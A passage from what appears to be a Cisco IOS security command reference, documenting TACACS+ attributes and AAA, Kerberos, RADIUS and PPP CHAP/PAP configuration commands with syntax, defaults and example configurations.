service=x The primary service. Specifying a service attribute indicates that this is a request for authorization or accounting of that service. Current values are slip, ppp, arap, shell, tty-daemon, connection, and system. This attribute must always be included. yes yes yes

protocol=x A protocol that is a subset of a service. An example would be any PPP NCP. Currently known values are lcp, ip, ipx, atalk, vines, lat, xremote, tn3270, telnet, rlogin, pad, vpdn, http, and unknown. yes yes yes

cmd=x A shell (EXEC) command. This indicates the command name for a shell command that is to be run. This attribute must be specified if service equals "shell." A NULL value indicates that the shell itself is being referred to. yes yes yes

cmd-arg=x An argument to a shell (EXEC) command. This indicates an argument for the shell command that is to be run. Multiple cmd-arg attributes may be specified, and they are order dependent. yes yes yes

acl=x ASCII number representing a connection access list. Used only when service=shell. yes yes yes

inacl=x ASCII identifier for an interface input access list. Used with service=ppp and protocol=ip. yes yes yes

inacl#<n> ASCII access list identifier for an input access list to be installed and applied to an interface for the duration of the current connect ion. Used with service=ppp and protocol=ip, and service service=ppp and protocol =ipx. no no 11.2(4)F

outacl=x ASCII identifier for an interface output access list. Used with service=ppp and protocol=ip, and service service=ppp and protocol=ipx. Contains an IP output access list for SLIP or PPP/IP (for example, outacl=4). The access list itself must be preconfigured on the router. Per-user access lists do not currently work with ISDN interfaces. yes (PPP/IP only) yes yes

outacl#<n> ACSII access list identifier for an interface output access list to be installed and applied to an interface for the duration of the current condition. Used with service=ppp and protocol=ip, and service service=ppp and protocol=ipx. no no 11.2(4)F

zonelist=x A numeric zonelist value. Used with service=arap. Specifies an AppleTalk zonelist for ARA (for example, zonelist=5). yes yes yes

addr=x A network address. Used with service=slip, service=ppp, and protocol=ip. Contains the IP address that the remote host should use when connecting via SLIP or PPP/IP. For example, addr=1.2.3.4. yes yes yes

addr-pool=x Specifies the name of a local pool from which to get the address of the remote host. Used with service=ppp and protocol=ip.

Note that addr-pool works in conjunction with local pooling. It specifies the name of a local pool (which must be preconfigured on the network access server). Use the ip-local pool command to declare local pools. For example:

ip address-pool local

ip local pool boo 1.0.0.1 1.0.0.10

ip local pool moo 2.0.0.1 2.0.0.20

You can then use TACACS+ to return addr-pool=boo or addr-pool=moo to indicate the address pool from which you want to get this remote node's address. yes yes yes

routing=x Specifies whether routing information is to be propagated to, and accepted from this interface. Used with service=slip, service=ppp, and protocol=ip. Equivalent in function to the /routing flag in SLIP and PPP commands. Can either be true or false (for example, routing=true). yes yes yes

route Specifies a route to be applied to an interface. Used with service=slip, service=ppp, and protocol=ip.

During network authorization, the route attribute can be used to specify a per-user static route, to be installed by TACACS+ as follows:

route=" dst_address mask [ gateway ]"

This indicates a temporary static route that is to be applied. dst_address, mask, and gateway are expected to be in the usual dotted-decimal notation, with the same meanings as in the familiar ip route configuration command on a network access server.

If gateway is omitted, the peer's address is the gateway. The route is expunged when the connection terminates. no yes yes

route#<n> Like the route AV pair, this specifies a route to be applied to an interface, but these routes are numbered, allowing multiple routes to be applied. Used with service=ppp and protocol=ip, and service=ppp and protocol=ipx. no no 11.2(4)F

timeout=x The number of minutes before an ARA session disconnects (for example, timeout=60). A value of zero indicates no timeout. Used with service=arap. yes yes yes

idletime=x Sets a value, in minutes, after which an idle session is terminated. Does not work for PPP. A value of zero indicates no timeout. no yes yes

autocmd=x Specifies an autocommand to be executed at EXEC startup (for example, autocmd=telnet muruga.com). Used only with service=shell. yes yes yes

noescape=x Prevents user from using an escape character. Used with service=shell. Can be either true or false (for example, noescape=true). yes yes yes

nohangup=x Used with service=shell. Specifies the nohangup option. Can be either true or false (for example, nohangup=false). yes yes yes

priv-lvl=x Privilege level to be assigned for the EXEC. Used with service=shell. Privilege levels range from 0 to 15, with 15 being the highest. yes yes yes

callback-dialstring Sets the telephone number for a callback (for example: callback-dialstring=408-555-1212). Value is NULL, or a dial-string. A NULL value indicates that the service may choose to get the dialstring through other means. Used with service=arap, service=slip, service=ppp, service=shell. Not valid for ISDN. no yes yes

callback-line The number of a TTY line to use for callback (for example: callback-line=4). Used with service=arap, service=slip, service=ppp, service=shell. Not valid for ISDN. no yes yes

callback-rotary The number of a rotary group (between 0 and 100 inclusive) to use for callback (for example: callback-rotary=34). Used with service=arap, service=slip, service=ppp, service=shell. Not valid for ISDN. no yes yes

nocallback-verify Indicates that no callback verification is required. The only valid value for this parameter is 1 (for example, nocallback-verify=1). Used with service=arap, service=slip, service=ppp, service=shell. There is no authentication on callback. Not valid for ISDN. no yes yes

tunnel-id Specifies the username that will be used to authenticate the tunnel over which the individual user MID will be projected. This is analogous to the remote name in the vpdn outgoing command. Used with service=ppp and protocol=vpdn. no no yes

ip-addresses Space-separated list of possible IP addresses that can be used for the end-point of a tunnel. Used with service=ppp and protocol=vpdn. no no yes

nas-password Specifies the password for the network access server during the L2F tunnel authentication. Used with service=ppp and protocol=vpdn. no no yes

gw-password Specifies the password for the home gateway during the L2F tunnel authentication. Used with service=ppp and protocol=vpdn. no no yes

rte-ftr-in#<n> Specifies an input access list definition to be installed and applied to routing updates on the current interface for the duration of the current connection. Used with service=ppp and protocol=ip, and with service=ppp and protocol=ipx. no no 11.2(4)F

rte-ftr-out#<n> Specifies an output access list definition to be installed and applied to routing updates on the current interface for the duration of the current connection. Used with service=ppp and protocol=ip, and with service=ppp and protocol=ipx. no no yes 11.2(4)F

sap#<n> Specifies static Service Advertising Protocol (SAP) entries to be installed for the duration of a connection. Used with service=ppp and protocol=ipx. no no yes 11.2(4)F

sap-fltr-in#<n> Specifies an input SAP filter access list definition to be installed and applied on the current interface for the duration of the current connection. Used with service=ppp and protocol=ipx. no no yes 11.2(4)F

sap-fltr-out#<n> Specifies an output SAP filter access list definition to be installed and applied on the current interface for the duration of the current connection. Used with service=ppp and protocol=ipx. no no 11.2(4)F

pool-def#<n> Used to define IP address pools on the network access server. Used with service=ppp and protocol=ip. no no 11.2(4)F

source-ip=x Used as the source IP address of all VPDN packets generated as part of a VPDN tunnel. This is equivalent to the Cisco vpdn outgoing global configuration command. no no yes

The following example specifies that TACACS+ authorization is used for all network-related requests. If this authorization method returns an error (if the TACACS+ server cannot be contacted), no authorization is performed and the request succeeds.

aaa authorization network tacacs+ none

The following example specifies that TACACS+ authorization is run for level 15 commands. If this authorization method returns an error (that is, if the TACACS+ server cannot be contacted), no authorization is performed and the request succeeds.

aaa authorization command 15 tacacs+ none

A dagger (†) indicates that the command is documented outside this chapter.

aaa accounting †

aaa new-model

To disable AAA configuration command authorization in the EXEC mode, use the no form of the aaa authorization config-commands global configuration command. Use the standard form of this command to reestablish the default created when the aaa authorization command level method command was issued.

This command has no arguments or keywords.

After the aaa authorization command level method has been issued, this command is enabled by default---meaning that all configuration commands in the EXEC mode will be authorized.

Global configuration

This command first appeared in Cisco IOS Release 11.2.

If aaa authorization command level method is enabled, all commands, including configuration commands, are authorized by AAA using the method specified. Because there are configuration commands that are identical to some EXEC-level commands, there can be some confusion in the authorization process. Using no aaa authorization config-commands stops the network access server not from attempting configuration command authorization.

Once the no form of this command has been issued, AAA authorization of configuration commands is completely disabled. Care should be taken before issuing the no form of this command because it potentially reduces the amount of administrative control on configuration commands.

Use the aaa authorization config-commands command if, after using the no form of this command, you need to reestablish the default set by the aaa authorization command level method command.

The following example specifies that TACACS+ authorization is run for level 15 commands and that AAA authorization of configuration commands is disabled:

aaa new-model

aaa authorization command 15 tacacs+ none

no aaa authorization config-commands

aaa authorization

To enable the AAA access control model, issue the aaa new-model global configuration command. Use the no form of this command to disable this functionality.

This command has no arguments or keywords.

AAA is not enabled.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

This command enables the AAA access control system and TACACS+. If you initialize AAA functionality and later decide to use TACACS or extended TACACS, issue the no version of this command before you enable the version of TACACS that you want to use.

After enabling AAA/TACACS+ with the aaa new-model command, you must use the tacacs-server key command to set the authentication key used in all TACACS+ communications with the TACACS+ daemon.

The following example initializes AAA and TACACS+:

aaa new-model

A dagger (†) indicates that the command is documented outside this chapter.

aaa accounting †

tacacs-server key

To enable AAA authentication for ARA on a line, use the arap authentication line configuration command. Use the no form of the command to disable authentication for an ARA line.

Caution If you use a list-name value that was not configured with the aaa authentication arap command, ARA protocol will be disabled on this line.

default Default list created with the aaa authentication arap command.

list-name Indicated list created with the aaa authentication arap command.

ARA protocol authentication uses the default set with aaa authentication arap command. If no default is set, the local user database is checked.

Line configuration

This command first appeared in Cisco IOS Release 11.0.

This command is a per-line command that specifies the name of a list of AAA authentication methods to try at login. If no list is specified, the default list is used (whether or not it is specified in the command line). You create defaults and lists with the aaa authentication arap command. Entering the no version of arap authentication has the same effect as entering the command with the default argument.

Before issuing this command, create a list of authentication processes by using the aaa authentication arap global configuration command.

The following example specifies that the TACACS+ authentication list called MIS-access is used on ARA line 7:

line 7

arap authentication MIS-access

aaa authentication arap

Use the clear kerberos creds EXEC command to delete the contents of your credentials cache.

This command has no keywords or arguments.

EXEC

This command first appeared in Cisco IOS Release 11.1.

Credentials are cleared when the user logs out.

Cisco supports Kerberos 5.

The following example illustrates the clear kerberos creds command:

cisco-2500> show kerberos creds

Default Principal: chet@cisco.com

Valid Starting Expires Service Principal

18-Dec-1995 16:21:07 19-Dec-1995 00:22:24 krbtgt/CISCO.COM@CISCO.COM

cisco-2500> clear kerberos creds

cisco-2500> show kerberos creds

No Kerberos credentials.

cisco-2500>

show kerberos creds

To specify what happens if the TACACS and extended TACACS servers used by the enable command do not respond, use the enable last-resort global configuration command. Use the no form of this command to restore the default.

password Allows you to enter enable mode by entering the privileged command level password. A password must contain from 1 to 25 uppercase and lowercase alphanumeric characters.

succeed Allows you to enter enable mode without further question.

Access to enable mode is denied.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

The secondary authentication is used only if the first attempt fails.

Note This command is not used in AAA/TACACS+, which uses the aaa authentication suite of commands instead.

In the following example, if the TACACS servers do not respond to the enable command, the user can enable by entering the privileged level password:

enable last-resort password

A dagger (†) indicates that the command is documented outside this chapter.

enable †

To enable use of the TACACS to determine whether a user can access the privileged command level, use the enable use-tacacs global configuration command. Use the no form of this command to disable TACACS verification.

Caution If you use the enable use-tacacs command, you must also use the tacacs-server authenticate enable command, or you will be locked out of the privileged command level.

This command has no arguments or keywords.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 10.0.

When you add this command to the configuration file, the EXEC enable command prompts for a new username and password pair. This pair is then passed to the TACACS server for authentication. If you are using extended TACACS, it also passes any existing UNIX user identification code to the server.

Note This command initializes TACACS. Use the tacacs server-extended command to initialize extended TACACS, or use the aaa new-model command to initialize AAA/TACACS+.

The following example sets TACACS verification on the privileged EXEC-level login sequence:

enable use-tacacs

tacacs-server authenticate enable

A dagger (†) indicates that the command is documented outside this chapter.

tacacs-server authenticate enable †

Use the ip radius source-interface global configuration command to force RADIUS to use the IP address of a specified interface for all outgoing RADIUS packets. Use the no form of this command to disable use of a specified interface IP address.

subinterface-name Name of the interface that RADIUS uses for all of its outgoing packets.

This command has no factory-assigned default.

Global configuration

This command first appeared in Cisco IOS Release 11.1.

Use this command to set a subinterface's IP address to be used as the source address for all outgoing RADIUS packets. This address is used as long as the interface is in the up state. In this way, the RADIUS server can use one IP address entry for every network access client instead of maintaining a list of IP addresses.

This command is especially useful in cases where the router has many interfaces, and you want to ensure that all RADIUS packets from a particular router have the same IP address.

The specified interface must have an IP address associated with it. If the specified subinterface does not have an IP address or is in a down state, then RADIUS reverts to the default. To avoid this, add an IP address to the subinterface or bring the interface to the up state.

The following example makes RADIUS use the IP address of subinterface s2 for all outgoing RADIUS packets:

ip radius source-interface s2

A dagger (†) indicates that the command is documented outside this chapter.

ip tacacs source-interface †

ip telnet source-interface †

ip tftp source-interface †

Use the ip tacacs source-interface global configuration command to force TACACS to use the IP address of a specified interface for all outgoing TACACS packets. Use the no form of this command to disable use of a specified interface IP address.

subinterface-name Name of the interface that TACACS uses for all of its outgoing packets.

This command has no factory-assigned default.

Global configuration

This command first appeared in Cisco IOS Release 11.1.

Use this command to set a subinterface's IP address for all outgoing TACACS packets. This address is used as long as the interface is in the up state. In this way, the TACACS server can use one IP address entry associated with the network access client instead of maintaining a list of all IP addresses.

This command is especially useful in cases where the router has many interfaces, and you want to ensure that all TACACS packets from a particular router have the same IP address.

The specified interface must have an IP address associated with it. If the specified subinterface does not have an IP address or is in a down state, TACACS reverts to the default. To avoid this, add an IP address to the subinterface or bring the interface to the up state.

The following example makes TACACS use the IP address of subinterface s2 for all outgoing TACACS (TACACS, extended TACACS, or TACACS+) packets:

ip tacacs source-interface s2

A dagger (†) indicates that the command is documented outside this chapter.

ip radius source-interface †

ip telnet source-interface †

ip tftp source-interface †

Use the kerberos clients mandatory global configuration command to cause the rsh, rcp, rlogin, and telnet commands to fail if they cannot negotiate the Kerberos protocol with the remote server. Use the no form of this command to disable this option.

This command has no arguments or keywords.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 11.2.

If this command is not configured and the user has Kerberos credentials stored locally, the rsh, rcp, rlogin, and telnet commands attempt to negotiate the Kerberos protocol with the remote server and will use the un-Kerberized protocols if unsuccessful.

If this command is not configured and the user has no Kerberos credentials, the standard protocols for rcp and rsh are used to negotiate the Keberos protocol.

The following example illustrates the kerberos clients mandatory command:

kerberos clients mandatory

A dagger (†) indicates that this command is documented outside this chapter.

copy rcp †

rlogin †

rsh †

telnet †

Use the kerberos credentials forward global configuration command to force all network application clients on the router to forward users' Kerberos credentials upon successful Kerberos authentication. Use the no form of this command to turn off Kerberos credentials forwarding.

This command has no arguments or keywords.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 11.2.

Enable credentials forwarding to have users' TGTs forwarded to the host they authenticate to. In this way, users can connect to multiple hosts in the Kerberos realm without running the KINIT program each time they need to get a TGT.

The following example illustrates the kerberos credentials forward command:

kerberos credentials forward

A dagger (†) indicates that the command is documented outside this chapter.

copy rcp †

rlogin †

rsh †

telnet †

Use the kerberos instance map global configuration command to map Kerberos instances to Cisco IOS privilege levels. Use the no form of this command to remove a Kerberos instance map.

instance Name of a Kerberos instance.

privilege-level The privilege level at which a user is set if the user's Kerberos principle contains the matching Kerberos instance. You can specify up to 16 privilege levels, using numbers 0 through 15. Level 1 is normal EXEC-mode user privileges.

Privilege level 1

Global configuration

This command first appeared in Cisco IOS Release 11.2.

Use this command to create user instances with access to administrative commands.

In the following example, the privilege level is set to 15 for authenticated Kerberos users with the admin instance in Kerberos realm cisco.com:

kerberos instance map admin 15

aaa authorization

Use the kerberos local-realm global configuration command to specify the Kerberos realm in which the router is located. Use the no form of this command to remove the specified Kerberos realm from this router.

kerberos-realm The name of the default Kerberos realm. A Kerberos realm consists of users, hosts, and network services that are registered to a Kerberos server. The Kerberos realm must be in uppercase letters.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 11.1.

The router can be located in more than one realm at a time. However, there can only be one instance of Kerberos local-realm. The realm specified with this command is the default realm.

The following example illustrates the kerberos local realm command:

kerberos local-realm MURUGA.COM

kerberos srvtab remote

Use the kerberos preauth global configuration command to specify a preauthentication method to use to communicate with the KDC. Use the no form of this command to disable Kerberos preauthentication.

encrypted-unix-timestamp Use an encrypted UNIX timestamp as a quick authentication method when communicating with the KDC.

none Do not use Kerberos preauthentication.

Disabled

Global Configuration

This command first appeared in Cisco IOS Release 11.2.

It is more secure to use a preauthentication for communications with the KDC. However, communication with the KDC will fail if the KDC does not support this particular version of kerberos preauth. If that happens, turn off the preauthentication with the none option.

The no form of this command is equivalent to using then none keyword.

The following example illustrates how to enable and disable Kerberos preauthentication:

kerberos preauth encrypted-unix-timestamp

kerberos preauth none

kerberos srvtab entry

kerberos srvtab remote

Use the kerberos realm global configuration command to map a host name or Domain Naming System (DNS) domain to a Kerberos realm. Use the no form of this command to remove a Kerberos realm map.

dns-domain Name of a DNS domain or host.

host Name of a DNS host.

kerberos-realm Name of the Kerberos realm the specified domain or host belongs to.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 11.1.

DNS domains are specified with a leading dot (.) character; hostnames cannot begin with a dot (.) character. There can be multiple entries of this line.

A Kerberos realm consists of users, hosts, and network services that are registered to a Kerberos server. The Kerberos realm must be in uppercase letters. The router can be located in more than one realm at a time. Kerberos realm names must be in all uppercase characters.

The following example illustrates the kerberos realm command:

kerberos realm .muruga.com MURUGA.COM

kerberos realm muruga.com MURUGA.COM

kerberos srvtab remote

Use the kerberos server global configuration command to specify the location of the Kerberos server for a given Kerberos realm. Use the no form of this command to remove a Kerberos server for a specified Kerberos realm.

kerberos-realm Name of the Kerberos realm. A Kerberos realm consists of users, hosts, and network services that are registered to a Kerberos server. The Kerberos realm must be in uppercase letters.

hostname Name of the host functioning as a Kerberos server for the specified Kerberos realm (translated into an IP address at the time of entry).

ip-address IP address of the host functioning as a Kerberos server for the specified Kerberos realm.

port-number (Optional) Port that the KDC/TGS monitors (defaults to 88).

Disabled

Global configuration

This command first appeared in Cisco IOS Release 11.1.

The following example specifies 126.38.47.66 as the Kerberos server for the Kerberos realm MURUGA.COM:

kerberos server MURUGA.COM 126.38.47.66

kerberos srvtab entry

kerberos srvtab remote

Use the kerberos srvtab remote global configuration command (not kerberos srvtab entry) to retrieve a SRVTAB file from a remoe host and automatically generate a Kerberos SRVTAB entry configuration. (The Kerberos SRVTAB entry is the router's locally stored SRVTAB.) Use the no form of this command to remove a SRVTAB entry from the router's configuration.

kerberos-principle A service on the router.

principle-type Version of the Kerberos SRVTAB.

timestamp Number representing the date and time the SRVTAB entry was created.

key-version number Version of the encryption key format.

key-type Type of encryption used.

key-length Length, in bytes, of the encryption key.

encrypted-keytab Secret key the router shares with the KDC. It is encrypted with the private Data Encryption Standard (DES) key (if available) when you write out your configuration.

Global configuration.

This command first appeared in Cisco IOS Release 11.2.

If you reload a configuration, with a SRVTAB encrypted with a private DES key, on to a router that does not have a private DES key defined, the router displays a message informing you that the SRVTAB entry has been corrupted, and discards the entry.

If you change the private DES key and reload an old version of the router's configuration that contains SRVTAB entries encrypted with the old private DES keys, the router will restore your Kerberos SRVTAB entries, but the SRVTAB keys will be corrupted. In this case, you must delete your old Kerberos SRVTAB entries and reload your Kerberos SRVTABs on to the router using the kerberos srvtab remote command.

Although you can configure kerberos srvtab entry on the router manually, generally you would not do this because the keytab is encrypted automatically by the router when you copy the SRVTAB using the kerberos srvtab remote command.

In the following example, host/new-router.loki.com@LOKI.COM is the host, 0 is the type, 817680774 is the timestamp, 1 is the version of the key, 1 indicates the DES is the encryption type, 8 is the number of bytes, and .cCN.YoU.okK is the encrypted key:

kerberos srvtab entry host/new-router.loki.com@LOKI.COM 0 817680774 1 1 8 .cCN.YoU.okK

key config-key

Use the kerberos srvtab remote configuration command to retrieve a krb5 SRVTAB file from the specified host.

hostname Machine with the Kerberos SRVTAB file.

ip-address IP address of the machine with the Kerberos SRVTAB file.

filename Name of the SRVTAB file.

Configuration

This command first appeared in Cisco IOS Release 11.2.

The command in the following example copies the SRVTAB file residing on bucket.cisco.com to a router named scooter.cisco.com:

kerberos srvtab remote bucket.cisco.com scooter.cisco.com-new-srvtab

key config-key

Use the key config-key global configuration command to define a private DES key for the router. Use the no form of this command to delete a private Data Encryption Standard (DES) key for the router.

string Private DES key (can be up to 8 alphanumeric characters).

No DES-key defined.

Global configuration.

This command first appeared in Cisco IOS Release 11.2.

This command defines for the router a private DES key that will not show up in the router configuration. This private DES key can be used to DES-encrypt certain parts of the router's configuration.

Caution The private DES key is unrecoverable. If you encrypt part of your configuration with the private DES key and lose or forget the key, you will not be able to recover the encrypted data.

The command in the following example sets bubba as the private DES key on the router:

key config-key 1 bubba

kerberos srvtab remote

To configure your router to use TACACS user authentication, use the login tacacs line configuration command. Use the no form of this command to disable TACACS user authentication for a line.

This command has no arguments or keywords.

Disabled

Line configuration

This command first appeared in Cisco IOS Release 10.0.

You can use TACACS security if you have configured a TACACS server and you have a command control language (CCL) script that allows you to use TACACS security. For information about using files provided by Cisco Systems to modify CCL scripts to support TACACS user authentication, refer to the "Configuring AppleTalk Remote Access" chapter in the Access Services Configuration Guide.

Note This command cannot be used with AAA/TACACS+. Use the login authentication command instead.

In the following example, lines 1 through 16 are configured for TACACS user authentication:

line 1 16

login tacacs

To enable TACACS+ authentication for NetWare Asynchronous Services Interface (NASI) clients connecting to a router, use the nasi authentication line configuration command. Use the no form of the command to return to the default, as specified by the aaa authentication nasi command.

default Uses the default list created with the aaa authentication nasi command.

list-name Uses the list created with the aaa authentication nasi command.

Uses the default set with the aaa authentication nasi command.

Line configuration

This command first appeared in Cisco IOS Release 11.1.

This command is a per-line command used with AAA authentication that specifies the name of a list of TACACS+ authentication methods to try at login. If no list is specified, the default list is used, even if it is specified in the command line. (You create defaults and lists with the aaa authentication nasi command.) Entering the no form of this command has the same effect as entering the command with the default argument.

Caution If you use a list-name value that was not configured with the aaa authentication nasi command, you will disable login on this line.

Before issuing this command, create a list of authentication processes by using the aaa authentication nasi global configuration command.

The following example specifies that the default AAA authentication be used on line 4:

line 4

nasi authentication default

The following example specifies that the AAA authentication list called list1 be used on line 7:

line 7

nasi authentication list1

A dagger (†) indicates that the command is documented outside this chapter.

ipx nasi-server enable †

show ipx nasi connections †

show ipx spx-protocol †

To enable Challenge Handshake Authentication Protocol (CHAP) or Password Authentication Protocol (PAP) or both and to specify the order in which CHAP and PAP authentication are selected on the interface, use the ppp authentication interface configuration command. Use the no form of the command to disable this authentication.

chap Enables CHAP on a serial interface.

pap Enables PAP on a serial interface.

chap pap Enables both CHAP and PAP, and performs CHAP authentication before PAP.

pap chap Enables both CHAP and PAP, and performs PAP authentication before CHAP.

if-needed (Optional) Used with TACACS and extended TACACS. Does not perform CHAP or PAP authentication if the user has already provided authentication. This option is available only on asychronous interfaces.

list-name (Optional) Used with AAA/TACACS+. Specifies the name of a list of TACACS+ methods of authentication to use. If no list name is specified, the system uses the default. The list is created with the aaa authentication ppp command.

default The name of the method list is created with the aaa authentication ppp command.

callin Specifies authentication on incoming (received) calls only.

Caution If you use a list-name value that was not configured with the aaa authentication ppp command, you will disable PPP on this interface.

PPP authentication is not enabled.

Interface configuration

This command first appeared in Cisco IOS Release 10.0.

When you enable CHAP or PAP Authentication, or both, the local router requires the remote device to prove its identity before allowing data traffic to flow. PAP Authentication requires the remote device to send a name and password, which is checked against a matching entry in the local username database or in the remote TACACS/TACACS+ database. CHAP Authentication sends a Challenge to the remote device. The remote device encrypts the challenge value with a shared secret and returns the encrypted value and its name to the local Router in a Response message. The local router attempts to match the remote device's name with an associated secret stored in the local username or remote TACACS/TACACS+ database; it uses the stored secret to encrypt the original challenge and verify that the encrypted values match.

You can enable PAP or CHAP, or both, in either order. If you enable both methods, the first method specified is requested during link negotiation. If the peer suggests using the second method, or refuses the first method, the second method is tried. Some remote devices support only CHAP, and some support only PAP. Base the order in which you specify methods on the remote device's ability to correctly negotiate the appropriate method, and on the level of data line security you require. PAP usernames and passwords are sent as cleartext strings, which can be intercepted and reused. CHAP has eliminated most of the known security holes.

Enabling or disabling PPP authentication does not affect the local router's willingness to authenticate itself to the remote device.

If you are using autoselect on a TTY line, you probably want to use the ppp authentication command to turn on PPP authentication for the corresponding interface.

The following example enables CHAP on asynchronous interface 4 and uses the authentication list MIS-access:

interface async 4

encapsulation ppp

ppp authentication chap MIS-access

A dagger (†) indicates that the command is documented outside this chapter.

autoselect †

encapsulation ppp †

username †

Use the ppp chap hostname interface configuration command to create a pool of dialup routers that all appear to be the same host when authenticating with CHAP. To disable this function, use the no form of the command.

hostname The name sent in the CHAP challenge.

Disabled. The router name is sent in any CHAP challenges.

Interface configuration

This command first appeared in Cisco IOS Release 11.2.

Currently, a router dialing a pool of access routers requires a username entry for each possible router in the pool because each router challenges with its hostname. If a router is added to the dialup rotary pool, all connecting routers must be updated. The ppp chap hostname command allows you to specify a common alias for all routers in a rotary group to use so that only one username must be configured on the dialing routers.

This command is normally used with local CHAP authentication (when the router authenticates to the peer), but it can also be used for remote CHAP authentication.

The commands in the following example identify the dialer interface 0 as the dialer rotary group leader and specifies ppp as the method of encapsulation used by all member interfaces. CHAP authentication is used on received calls only. The username ISPCorp will be sent in all CHAP challenges and responses.

interface dialer 0

encapsulation ppp

ppp authentication chap callin

ppp chap hostnmae ISPCorp

Use the ppp chap password interface configuration command to enable a router calling a collection of routers that do not support this command (such as routers running older Cisco IOS software images) to configure a common CHAP secret password to use in response to challenges from an unknown peer. To disable this function, use the no form of this command.

secret The secret used to compute the response value for any CHAP challenge from an unknown peer.

Disabled.

Interface configuration.

This command first appeared in Cisco IOS Release 11.2.

This command allows you to replace several username and password configuration commands with a single copy of this command on any dialer interface or asynchronous group interface.

This command is used for remote CHAP authentication only (when routers authenticate to the peer) and does not affect local CHAP authentication.

The commands in the following example specify Integrated Services Digital Network (ISDN) Basic Rate Interface (BRI) number 0. The method of encapsulation on the interface is PPP. If a CHAP challenge is received from a peer whose name is not found in the global list of usernames, the encrypted secret 7 1267234591 is decrypted and used to create a CHAP response value.

interface bri 0

encapsulation ppp

ppp chap password 7 1234567891

To reenable remote PAP support for an interface and use the sent-username and password in the PAP authentication request packet to the peer, use the ppp pap sent-username interface configuration command. Use the no form of this command to disable remote PAP support.

ppp pap sent-username username password password

username Username sent in the PAP authentication request.

password Password sent in the PAP authentication request.

password Must contain from 1 to 25 uppercase and lowercase alphanumeric characters.

Remote PAP support disabled.

You must configure this command for each interface.

This command first appeared in Cisco IOS Release 11.2.

Use this command to reenable remote PAP support (for example to respond to the peer's request to authenticate with PAP) and to specify the parameters to be used when sending the PAP Authentication Request.

This is a per-interface command.

The commands in the following example identify dialer interface 0 as the dialer rotary group leader and specify PPP as the method of encapsulation used by the interface. Authentication is by CHAP or PAP on received calls only. ISPCor is the username sent to the peer if the peer requires the router to authenticate with PAP.

interface dialer0

encapsulation ppp

ppp authentication chap pap callin

ppp chap hostname ISPCor

ppp pap sent username ISPCorp password 7 fjhfeu

ppp pap sent-username ISPCorp password 7 1123659238

ppp use-tacacs

To enable TACACS for PPP authentication, use the ppp use-tacacs interface configuration command. Use the no form of the command to disable TACACS for PPP authentication.

Note This command is not used in AAA/TACACS+. It has been replaced with the aaa authentication ppp command.

single-line (Optional) Accept the username and password in the username field. This option applies only when using CHAP authentication.

TACACS is not used for PPP authentication.

Interface configuration

This command first appeared in Cisco IOS Release 10.3.

This is a per-interface command. Use this command only when you have set up an extended TACACS server.

When CHAP authentication is being used, the ppp use-tacacs command with the single-line option specifies that if a username and password are specified in the username, separated by an asterisk (*), a standard TACACS login query is performed using that username and password. If the username does not contain an asterisk, then normal CHAP authentication is performed.

This feature is useful when integrating TACACS with other authentication systems that require a cleartext version of the user's password. Such systems include one-time password systems, token card systems, and Kerberos.

Caution Normal CHAP authentications prevent the cleartext password from being transmitted over the link. When you use the single-line option, passwords cross the link as cleartext.

If the username and password are contained in the CHAP password, the CHAP secret is not used by the Cisco IOS software. Because most PPP clients require that a secret be specified, you can use any arbitrary string, and the Cisco IOS software ignores it.

In the following example, asynchronous serial interface 1 is configured to use TACACS for CHAP authentication:

interface async 1

ppp authentication chap

ppp use-tacacs

In the following example, asynchronous serial interface 1 is configured to use TACACS for PAP authentication:

interface async 1

ppp authentication pap

ppp use-tacacs

tacacs-server host

To improve RADIUS response times when some servers might be unavailable, use the radius-server dead-time global configuration command to cause the unavailable servers to be skipped immediately. Use the no form of this command to set dead-time to 0.

minutes Length of time a RADIUS server is skipped over by transaction requests, up to a maximum of 1440 minutes (24 hours).

Dead time is set to 0.

Global configuration

Use this command to cause the Cisco IOS to mark as "dead" RADIUS servers that fail to respond to authentication requests, thus avoiding the wait for the request to time out before trying the next configured server. A RADIUS server marked as "dead" is skipped by additional requests for the duration of minutes or unless there are no servers not marked "dead."

The following example specifies 5 minutes dead-time for RADIUS servers that fail to respond to authentication requests.

radius-server dead-time 5

radius-server retransmit

radius-server timeout

To specify a RADIUS server host, use the radius-server host global configuration command. Use the no form of this command to delete the specified RADIUS host.

hostname DNS name of the RADIUS server host.

ip-address IP address of the RADIUS server host.

auth-port Specifies the UDP destination port for authentication requests.

port-number Port number for authentication requests; the host is not used for authentication if set to 0.

acct-port Specifies the UDP destination port for accounting requests.

port-number Port number for accounting requests; the host is not used for accounting if set to 0.

No RADIUS host is specified.

Global configuration

You can use multiple radius-server host commands to specify multiple hosts. The software searches for hosts in the order you specify them.

The following example specifies host1 as the RADIUS server and uses default ports for both accounting and authentication.

radius-server host host1.company.com

The following example specifies port 12 as the destination port for authentication requests and port 16 as the destination port for accounting requests on a RADIUS host named host1:

radius-server host host1.company.com auth-port 12 acct-port 16

Note that because entering a line resets all the port numbers, you must specify a host and configure accounting and authentication ports on a single line.

To use separate servers for accounting and authentication, use the zero port value as appropriate. The following example specifies that RADIUS server host1 be used for accounting but not for authentication, and that RADIUS server host2 be used for authentication but not for accounting:

radius-server host host1.company.com auth-port 0

radius-server host host2.company.com acct-port 0

A dagger (†) indicates that the command is documented outside this chapter.

aaa accounting †

login authentication †

ppp†

slip †

username †

Use the radius-server key global configuration command to set the authentication and encryption key for all RADIUS communications between the router and the RADIUS daemon. Use the no form of the command to disable the key.

string (Optional) The key used to set authentication and encryption.

This key must match the encryption used on the RADIUS daemon.

Disabled

Global Configuration

This command first appeared in Cisco IOS Release 11.1.

After enabling AAA authentication with the aaa new-model command, you must set the authentication and encryption key using the radius-server key command.

Note Specify a RADIUS key after you issue the aaa newmodel command.

The key entered must match the key used on the RADIUS daemon. All leading spaces are ignored, but spaces within and at the end of the key are used. If you use spaces in your key, do not enclose the key in quotation marks unless the quotation marks themselves are part of the key.

The following example illustrates how to set the authentication and encryption key to "dare to go":

radius-server key dare to go

A dagger (†) indicates that the command is documented outside this chapter.

login authentication †

ppp †

slip †

username †

To specify the number of times the Cisco IOS software searches the list of RADIUS server hosts before giving up, use the radius-server retransmit global configuration command. Use the no form of this command to disable retransmission.

retries Maximum number of retransmission attempts.

Three retries

